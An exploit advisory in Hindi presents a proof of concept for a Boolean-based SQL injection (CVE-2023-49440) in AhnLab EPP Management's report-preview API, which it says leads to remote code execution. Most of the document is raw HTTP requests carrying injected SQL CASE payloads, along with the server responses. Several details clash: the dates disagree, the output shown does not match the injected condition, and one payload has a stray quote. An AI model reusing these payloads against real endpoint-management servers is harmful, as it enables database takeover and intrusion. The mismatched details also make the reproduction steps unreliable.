
AhnLab EPP Management में Boolean-based SQL injection के लिए proof-of-concept, जो remote code execution की ओर ले जाता है, reproduction हेतु request/response उदाहरणों सहित।
एक्सप्लॉइट शीर्षक: ***AhnLab EPP Management (केंद्रीकृत एंडपॉइंट सुरक्षा प्रबंधन) - बूलियन-आधारित SQL इंजेक्शन जिसके कारण RCE हुआ***
दिनांक: 16 जुलाई 2023
CVE : CVE-2023-49440
विक्रेता होमपेज: https://www.ahnlab.com/en
सॉफ़्टवेयर लिंक:https://www.ahnlab.com/ko/product/epp-management
उत्पाद समीक्षा:https://www.gartner.com/reviews/market/endpoint-protection-platforms/compare/product/ahnlab-edr-vs-ahnlab-epp
संदर्भ लिंक: https://www.cve.org/CVERecord?id=CVE-2023-49440
संवेदनशील संस्करण: 1.0.15 और उससे पहले
सुधार संस्करण: 1.0.15 के बाद जारी संस्करण (2023)
***भेद्यता और उत्पाद विवरण***:
AhnLab EPP Management एक वैश्विक रूप से मान्यता प्राप्त, अगली पीढ़ी का उन्नत एंडपॉइंट सुरक्षा प्लेटफ़ॉर्म है जो पैच प्रबंधन, उन्नत मैलवेयर पहचान, EDR और XDR क्षमताओं को एकीकृत करता है, तथा एंटरप्राइज़ एंडपॉइंट्स पर केंद्रीकृत प्रबंधन, रीयल-टाइम निगरानी और नीति नियंत्रण प्रदान करता है। AhnLab EPP Management v1.0.15 के वेब एडमिन इंटरफ़ेस में एक बूलियन-आधारित और समय-आधारित SQL इंजेक्शन की खोज की गई, जिसके परिणामस्वरूप प्रशासनिक विशेषाधिकारों के साथ बैकएंड डेटाबेस से पूर्ण समझौता हुआ और सीमित रिमोट कोड निष्पादन (RCE) संभव हुआ। कई एंडपॉइंट्स बूलियन-आधारित SQL इंजेक्शन भेद्यता के प्रति संवेदनशील थे, जैसे कि JSON के भीतर **Preview*** पैरामीटर, आदि। v1.0.15 के बाद के रिलीज़ में सभी प्रभावित एंडपॉइंट्स को पैच कर दिया गया, और 2023 में सुधार लागू किए गए।
***यह AhnLab EPP Management में बूलियन-आधारित SQL इंजेक्शन के पुनरुत्पादन का प्रमाण है। हालाँकि, सुरक्षा कारणों से मैं अगले वर्ष तक Python PoC जारी नहीं करूँगा, और प्रभावित संस्करण को दो वर्ष से अधिक पहले ही पैच किया जा चुका था***
POST /api/console/ems/query/report/preview HTTP/1.1
Host: 192.168.100.199:8803
Cookie: lang_set=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: application/json; charset=utf-8
Accept-Language: de-CA,en-US;q=0.5,vi;q=0.3
Accept-Encoding: gzip, deflate
Authorization: bearer<Token>
Content-Type: application/json; charset=utf-8
Content-Length: 180
Origin: https://192.168.100.199:8803
Referer: https://192.168.100.199:8803/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{
"request": {
"action": "preview_query_report",
"revision": 1,
"params": [
"RDB",
"(SELECT CONCAT(CONCAT('apple',(CASE WHEN (1010=1010) THEN '1' ELSE '0' END)),'mango'))" a"
]
},
"data": []
}
HTTP/1.1 200
strict-transport-security: max-age=0
x-frame-options: DENY
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
content-type: application/json; charset=utf-8
content-length: 135
date: 21 may 2023 11:48:00 GMT
cache-control: no-cache, no-store, no-control
connection: close
{
"error_code": "EPP-00000",
"error_msg": "success",
"revision": 1,
"response": [
{
"report": "[{\"concat\":\"applemango\"}]",
"item_order": 1
}
]
}
POST /api/console/ems/query/report/preview HTTP/1.1
Host: 192.168.100.199:8803
Cookie: lang_set=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json;charset=utf-8
Accept-Language: de-CA,en-US;q=0.5,vi;q=0.3
Accept-Encoding: gzip, deflate, br
Authorization: bearer <Token>
Content-Type: application/json;charset=utf-8
Content-Length: 241
Origin: https://192.168.100.199:8803
Referer: https://192.168.100.199:8803/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{
"request": {
"action": "preview_query_report",
"revision": "1",
"params": [
"RDB",
"1",
"(SELECT CONCAT(CONCAT('apple', (CASE WHEN (1337=1337) THEN '1' ELSE '0' END)), 'mango'))"
]
},
"data": {
"extract_key": "<Key>="
}
}
HTTP/1.1 200
strict-transport-security: max-age=0
x-frame-options: DENY
x-content-type-options: nosniff
content-type: application/json;charset=utf-8
content-length: 181
date: 16 Sept 2023 10:28:10 GMT
cache-control: no-cache,no-store,no-control
connection: close
{
"error_code": "SWU-00027",
"error_msg": "[SWU-00027] Conceal key expired. : \"\\\"extract_key\\\":\\\"<Key>=\\\"\"",
"revision": 1,
"response": [
]
}